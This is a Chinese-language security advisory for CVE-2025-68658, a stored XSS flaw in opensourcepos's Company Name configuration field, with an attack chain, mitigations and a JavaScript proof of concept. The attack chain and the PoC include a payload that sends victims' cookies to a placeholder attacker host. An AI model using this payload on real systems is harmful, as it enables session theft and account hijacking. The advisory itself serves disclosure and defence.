IPBUF安全漏洞报告
English
CVE-2025-68658 CVSS 4.3 中危

CVE-2025-68658: opensourcepos Configuration存储型XSS漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-68658
漏洞类型
存储型XSS
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
opensourcepos (Open Source Point of Sale)

相关标签

存储型XSSCVE-2025-68658opensourceposCodeIgniterPHPWeb应用安全权限绕过输入验证不足

漏洞概述

Open Source Point of Sale (opensourcepos)是一款基于PHP和CodeIgniter框架开发的Web销售点应用程序。CVE-2025-68658漏洞存在于该应用的配置功能(Information)中,是一处存储型跨站脚本(Stored XSS)漏洞。攻击者作为已认证用户,在拥有"Configuration: Change OSPOS's Configuration"权限的情况下,可以在配置页面的公司名称(Company Name)字段中注入恶意JavaScript代码。该恶意载荷会被永久存储在服务器端,当其他用户访问/sales/complete路径时,恶意脚本会在受害者浏览器中执行。由于opensouropens在输入验证和输出编码方面存在不足,攻击者可利用此漏洞窃取用户会话cookie、劫持用户账户或进行钓鱼攻击。此漏洞影响版本3.4.0和3.4.1,已在3.4.2版本中修复。

技术细节

该存储型XSS漏洞的根因在于opensouropens应用对用户输入的公司名称字段缺乏充分的输入验证和输出编码。具体技术细节如下:1) 漏洞入口点位于配置功能的信息页面(Configuration Information),攻击者通过修改公司名称字段注入恶意JavaScript payload;2) 恶意载荷被直接存储到数据库中,未进行任何过滤或转义处理;3) 当用户访问/sales/complete路径时,系统从数据库读取公司名称字段并直接渲染到HTML页面中;4) 由于缺少输出编码,浏览器将恶意JavaScript代码作为有效脚本执行;5) 攻击者可通过此漏洞获取用户会话信息、进行CSRF攻击或重定向用户到恶意网站。修复方案为在3.4.2版本中增加了输入验证和输出编码机制。

攻击链分析

STEP 1
步骤1
攻击者使用具有"Configuration: Change OSPOS's Configuration"权限的账号登录opensouropens系统
STEP 2
步骤2
攻击者访问配置页面(Configuration -> Information),在Company Name字段中注入恶意JavaScript payload,如<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>
STEP 3
步骤3
攻击者保存配置,恶意载荷被存储到数据库中,由于缺乏输入验证和输出编码,payload被原样保存
STEP 4
步骤4
当普通用户访问/sales/complete路径或进行销售完成操作时,系统从数据库读取公司名称并渲染到HTML页面
STEP 5
步骤5
浏览器将存储的恶意脚本作为有效JavaScript代码执行,攻击者可窃取用户会话cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68658 Stored XSS PoC // Target: opensourcepos 3.4.0/3.4.1 // Attack Vector: Configuration -> Information -> Company Name field const payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; async function exploit() { // Step 1: Login with authenticated user having Configuration permission await fetch('https://target.com/login', { method: 'POST', body: JSON.stringify({ username: 'admin', password: 'password' }), headers: { 'Content-Type': 'application/json' } }); // Step 2: Inject XSS payload into Company Name field await fetch('https://target.com/config/save', { method: 'POST', body: JSON.stringify({ company: payload, type: 'information' }), headers: { 'Content-Type': 'application/json' } }); // Step 3: Trigger XSS when victim visits /sales/complete // The payload executes automatically upon page load } exploit();

影响范围

opensourcepos 3.4.0
opensourcepos 3.4.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制"Configuration: Change OSPOS's Configuration"权限的分配,仅授予绝对必要的管理员账户;2) 在Web应用防火墙(WAF)层面配置XSS过滤规则,对Company Name等字段的输入进行检测和拦截;3) 监控和审计配置变更日志,及时发现异常注入行为;4) 建议用户访问/sales/complete时使用隐私浏览模式以降低会话cookie被盗风险。但最根本的解决方案仍是尽快升级到3.4.2版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表